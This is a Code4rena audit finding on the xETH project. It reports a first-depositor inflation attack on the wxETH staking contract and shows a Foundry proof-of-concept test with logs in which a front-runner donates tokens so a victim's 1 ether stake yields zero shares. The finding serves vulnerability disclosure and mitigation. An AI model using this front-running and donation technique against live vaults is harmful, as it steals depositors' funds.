code-423n4 / 2023-05-xeth-findings

0 stars 0 forks source link

wxETH.sol Inflation Attack #4

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-05-xeth/blob/d86fe0a9959c2b43c62716240d981ae95224e49e/src/wxETH.sol#L212

Vulnerability details

Impact

The first staker may suffer an Inflation Attack and lose the funds

Proof of Concept

Currently wxETH still has the common ERC4626 'Inflation Attack'

malicious users can front-run the first staker, raise exchange rates through donations, then achieve Inflation Attack

    function exchangeRate() public view returns (uint256) {
        /// @dev if there are no tokens minted, return the initial exchange rate
        uint256 _totalSupply = totalSupply();
        if (_totalSupply == 0) {
            return INITIAL_EXCHANGE_RATE;
        }

        /// @dev calculate the cash on hand by removing locked funds from the total xETH balance
        /// @notice this balanceOf call will include any lockedFunds,
        /// @notice as the locked funds are also in xETH
        uint256 cashMinusLocked = xETH.balanceOf(address(this)) - lockedFunds;   //<------@audit from balance

        /// @dev return the exchange rate by dividing the cash on hand by the total supply
        return (cashMinusLocked * BASE_UNIT) / _totalSupply;
    }

Suppose wxETH is currently empty stake

  1. bob executes stake(), amount=1 ether , transaction enter memorypool
  2. alice monitor memorypool, front-run bob
  3. alice executes stake 1 ether, then unstake(1 ether - 1), remaining 1 shares
  4. alice donates xETH to wxETH (direct transfer(wxETH)), thus increasing the exchange rate to 2 ether
  5. turn to execute bob's transaction, because the exchange rate is too high, round down, get 0 shares
  6. Result: bob loses 1 ether

Here is the sample code:

add to wxETH.t.sol

    function testAttack() public {
        //0.give alice 2 ether and bob 1 ether
        address alice = users[2];
        address bob = users[3];
        vm.startPrank(owner);
        xETH.transfer(alice, 2 ether);
        xETH.transfer(bob, 1 ether);
        vm.stopPrank();

        //1.alice front-run bob, raise exchange rate
        vm.startPrank(alice);
        xETH.approve(address(wxETH), 2 ether);
        wxETH.stake(1 ether);
        //1.1 unstake then remaining 1 shares
        wxETH.unstake(wxETH.balanceOf(alice) - 1);
        //1.2 donate to raise exchange rate
        xETH.transfer(address(wxETH), xETH.balanceOf(alice));
        console.log("alice shares:", wxETH.balanceOf(alice));
        console.log("currnet exchangeRate:", wxETH.exchangeRate());
        console.log(
            "previewStake 1 eth get shares:",
            wxETH.previewStake(1 ether)
        );
        vm.stopPrank();
        //2. bob stake 1 eth ,but get 0 shares , lost 1 ether
        vm.startPrank(bob);
        console.log("before stake bob xEth:", xETH.balanceOf(bob));
        console.log("before stake bob wxETH:", wxETH.balanceOf(bob));
        xETH.approve(address(wxETH), 1 ether);
        //2.1 stake 1 ether ,  get 0 shares
        uint256 bobGetshares = wxETH.stake(1 ether);
        console.log("stake() return:", bobGetshares);
        console.log("after stake bob xEth balance:", xETH.balanceOf(bob));
        console.log("after stake bob wxETH shares:", wxETH.balanceOf(bob));
        console.log("after stake alice wxETH shares:", wxETH.balanceOf(alice));
        console.log(
            "after stake alice can unstake get xETH:",
            wxETH.previewUnstake(wxETH.balanceOf(alice))
        );
        vm.stopPrank();
    }
$ forge test --match testAttack -vvv -f https://eth-mainnet.g.alchemy.com/v2/xxxxxx

Running 1 test for test/wxETH.t.sol:AMOAdminTest
[PASS] testAttack() (gas: 214611)
Logs:
  alice shares: 1
  currnet exchangeRate: 2000000000000000000000000000000000000
  previewStake 1 eth get shares: 0
  before stake bob xEth: 1000000000000000000
  before stake bob wxETH: 0
  stake() return: 0
  after stake bob xEth balance: 0
  after stake bob wxETH shares: 0
  after stake alice wxETH shares: 1
  after stake alice can unstake get xETH: 3000000000000000000

Test result: ok. 1 passed; 0 failed; finished in 6.40s

Tools Used

Recommended Mitigation Steps

It is recommended to refer to the new 4.9.0 release of OpenZeppelin, which has a special version of ERC4626 'Inflation Attack' for this

https://twitter.com/OpenZeppelin/status/1656066698410328064?s=20

Assessed type

Context

c4-judge commented 1 year ago

kirk-baird marked the issue as duplicate of #3

c4-judge commented 1 year ago

kirk-baird changed the severity to 2 (Med Risk)

c4-judge commented 1 year ago

kirk-baird marked the issue as not a duplicate

c4-judge commented 1 year ago

kirk-baird marked the issue as duplicate of #21

c4-judge commented 1 year ago

kirk-baird marked the issue as satisfactory